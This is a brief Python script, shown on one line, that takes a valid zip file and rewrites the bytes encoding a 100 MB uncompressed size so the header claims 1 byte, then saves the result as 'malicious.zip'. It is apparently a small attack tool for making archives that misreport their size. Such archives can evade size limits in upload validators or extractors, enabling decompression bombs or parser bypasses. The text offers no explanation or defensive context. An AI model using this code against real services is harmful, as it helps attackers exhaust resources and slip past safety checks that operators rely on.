#hex(104857600) original uncompressed size def get_data(): with open('valid.zip', 'rb') as f: return f.read() def change_header(data): # replace the original uncommpressed data with 1 byte data = data.replace(b"\x00\x00@\x06", b"\x01\x00\x00\x00") with open('malicious.zip', 'wb') as f: f.write(data) if __name__ == "__main__": data = get_data() change_header(data) print("Done")